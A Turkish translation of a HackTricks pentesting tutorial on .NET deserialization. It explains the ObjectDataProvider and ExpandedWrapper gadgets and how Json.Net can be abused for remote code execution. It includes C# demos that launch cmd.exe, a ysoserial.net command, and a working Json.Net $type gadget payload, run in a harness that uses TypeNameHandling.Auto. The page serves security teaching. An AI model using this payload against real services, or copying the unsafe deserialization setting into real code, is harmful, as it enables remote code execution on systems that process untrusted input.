hacktricks/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

10 KiB
Raw Blame History

Temel .Net serileştirme (ObjectDataProvider aracı, ExpandedWrapper ve Json.Net)

Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

Bu yazı, ObjectDataProvider aracının nasıl sömürüldüğünü anlamak ve RCE elde etmek için Serileştirme kütüphaneleri Json.Net ve xmlSerializer'ın bu araçla nasıl kötüye kullanılabileceğine adanmıştır.

ObjectDataProvider Aracı

Belgelerden: ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarmalar ve oluşturur.
Evet, garip bir açıklama, o yüzden bu sınıfın neden bu kadar ilginç olduğuna bakalım: Bu sınıf, keyfi bir nesneyi sarmaya izin verir, MethodParameters kullanarak keyfi parametreler belirlemeyi ve ardından keyfi bir nesnenin keyfi parametreler kullanılarak belirtilen keyfi bir işlevi çağırmayı sağlar.
Bu nedenle, keyfi nesne, serileştirilirken parametrelerle bir işlevi yürütecektir.

Bu nasıl mümkün

ObjectDataProvider'ın tanımlandığı ve uygulandığı System.Windows.Data ad alanı, C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF konumundaki PresentationFramework.dll içinde bulunur.

dnSpy kullanarak ilgilendiğimiz sınıfın kodunu inceleyebilirsiniz. Aşağıdaki resimde PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Method adı kodunu görüyoruz.

MethodName ayarlandığında base.Refresh() çağrıldığını gözlemleyebilirsiniz, hadi bu işlevin ne yaptığına bakalım:

Tamam, this.BeginQuery()'yi görmeye devam edelim. BeginQuery, ObjectDataProvider tarafından geçersiz kılınmıştır ve şunu yapar:

Kodun sonunda this.QueryWorke(null) çağrıldığını unutmayın. Bu işlevin ne yaptığını görelim:

Bu, QueryWorker işlevinin tam kodu değil, ancak ilginç kısmını gösteriyor: Kod, this.InvokeMethodOnInstance(out ex); bu satırda belirtilen yöntemi çağırır,.

Eğer sadece MethodName ayarlayarak bunun yürütüleceğini kontrol etmek isterseniz, bu kodu çalıştırabilirsiniz:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Not edin, System.Windows.Data'yı yüklemek için C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll dosyasını referans olarak eklemeniz gerekmektedir.

ExpandedWrapper

Önceki açıktan yararlanarak, nesnenin bir ObjectDataProvider örneği olarak deserialize edileceği durumlar olacaktır (örneğin DotNetDuke açığı, XmlSerializer kullanılarak nesne GetType kullanılarak deserialize edildi). Ardından, ObjectDataProvider örneğine sarılan nesne türü hakkında bilgi sahibi olmayacaksınız (Process örneğin). DotNetDuke açığı hakkında daha fazla bilgiye buradan ulaşabilirsiniz.

Bu sınıf, verilen bir örnekte kapsanan nesnelerin nesne türlerini belirtmeye olanak tanır. Bu nedenle, bu sınıf, bir kaynak nesneyi (ObjectDataProvider) yeni bir nesne türüne kapsayabilir ve ihtiyacımız olan özellikleri sağlayabilir (ObjectDataProvider.MethodName ve ObjectDataProvider.MethodParameters).
Bu, önceki sunulan durumlar gibi durumlar için çok yararlıdır, çünkü ObjectDataProvider'ı bir ExpandedWrapper örneğinin içine sarabiliriz ve bu sınıf deserialize edildiğinde MethodName içinde belirtilen işlevi yürütecek olan ObjectDataProvider nesnesini oluşturacaktır.

Bu sarmalayıcıyı aşağıdaki kodla kontrol edebilirsiniz:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Resmi web sayfasında bu kütüphanenin Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği belirtilmektedir. Dolayısıyla, eğer ObjectDataProvider gadget'ını deserialize edebilirsek, sadece bir nesneyi deserialize ederek bir Uzaktan Kod Çalıştırma (RCE) saldırısı gerçekleştirebiliriz.

Json.Net örneği

Öncelikle, bu kütüphaneyi kullanarak bir nesneyi serileştirmek/deserileştirmek için bir örnek görelim:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Json.Net'i Kötüye Kullanma

ysoserial.net kullanarak saldırıyı oluşturdum:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Bu kodda saldırıyı test edebilirsiniz, sadece çalıştırın ve bir hesap makinesinin çalıştığını göreceksiniz:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert)!